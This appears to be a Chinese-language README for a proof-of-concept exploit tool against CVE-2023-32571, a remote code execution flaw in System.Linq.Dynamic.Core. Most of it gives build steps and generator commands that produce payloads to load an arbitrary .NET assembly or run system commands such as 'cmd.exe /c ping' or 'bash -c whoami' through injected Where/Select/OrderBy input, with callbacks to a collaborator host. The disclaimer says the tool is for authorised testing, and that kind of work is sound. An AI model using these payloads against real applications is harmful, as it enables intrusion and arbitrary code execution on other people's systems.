🐞 CVE-2023-32571 - System.Linq.Dynamic.Core 远程代码执行

用于 CVE-2023-32571 的概念验证，该漏洞是 System.Linq.Dynamic.Core（1.0.7.10 至 1.2.25）中的一个远程代码执行漏洞。当包括 Where、Select、OrderBy 在内的方法接收到未受信任的输入并被解析时，攻击者可利用该漏洞执行任意代码和命令。

⚠️ 免责声明

本工具仅用于教育和授权测试目的。未经双方事先同意而使用本工具攻击目标属于违法行为。开发者不承担任何责任，也不对因使用本程序造成的任何滥用或损害负责。

🎯 先决条件

• .NET 9.0 SDK 或更高版本
• 目标应用程序使用存在漏洞的 System.Linq.Dynamic.Core 版本（1.0.7.10 至 1.2.25）
• 一个协作服务器（例如 Burp Collaborator、Interactsh）用于观察回调

🛠️ 构建项目

1. 构建项目：
   root@kitploit:~

   dotnet build --configuration Release
   

   构建将生成
   • 载荷 DLL 位于 Payload/bin/Release/netstandard2.0/Payload.dll
   • 载荷生成器位于 Generator/bin/Release/net9.0/Generator.dll

🚀 使用方法

模式

该工具支持两种模式：

1. AssemblyLoad（模式 0）：加载并执行自定义 .NET 程序集
2. ProcessStart（模式 1）：通过 Process.Start 直接执行系统命令

模式 0：AssemblyLoad（默认）

# Using Base64 encoding
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 1

# Using Hex encoding
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 0

# Using Base64 encoding
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 1

# Using Hex encoding
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 0

模式 1：ProcessStart（直接命令执行）

# Windows command execution
./Generator --mode 1 --parameters "cmd.exe /c ping <your-collaborator-url>"

# Linux command execution  
./Generator --mode 1 --parameters "bash -c ping <your-collaborator-url>"

⚙️ 参数

• --mode：利用模式（0=AssemblyLoad，1=ProcessStart）
• --file：要加载的 .NET 程序集路径（AssemblyLoad 模式必需）
• --type：要实例化的完全限定类型名称（AssemblyLoad 模式必需）
• --parameters：基于模式的参数：
  • AssemblyLoad：构造函数参数（逗号分隔）
  • ProcessStart：要执行的命令（例如 'cmd.exe /c whoami' 或 'bash -c whoami'）
• --encoding：AssemblyLoad 模式的编码方法（0=Hex，1=Base64）

📚 参考资料

• NIST NVD
• NCCGROUP Advisory
• System.Linq.Dynamic.Core GitHub 仓库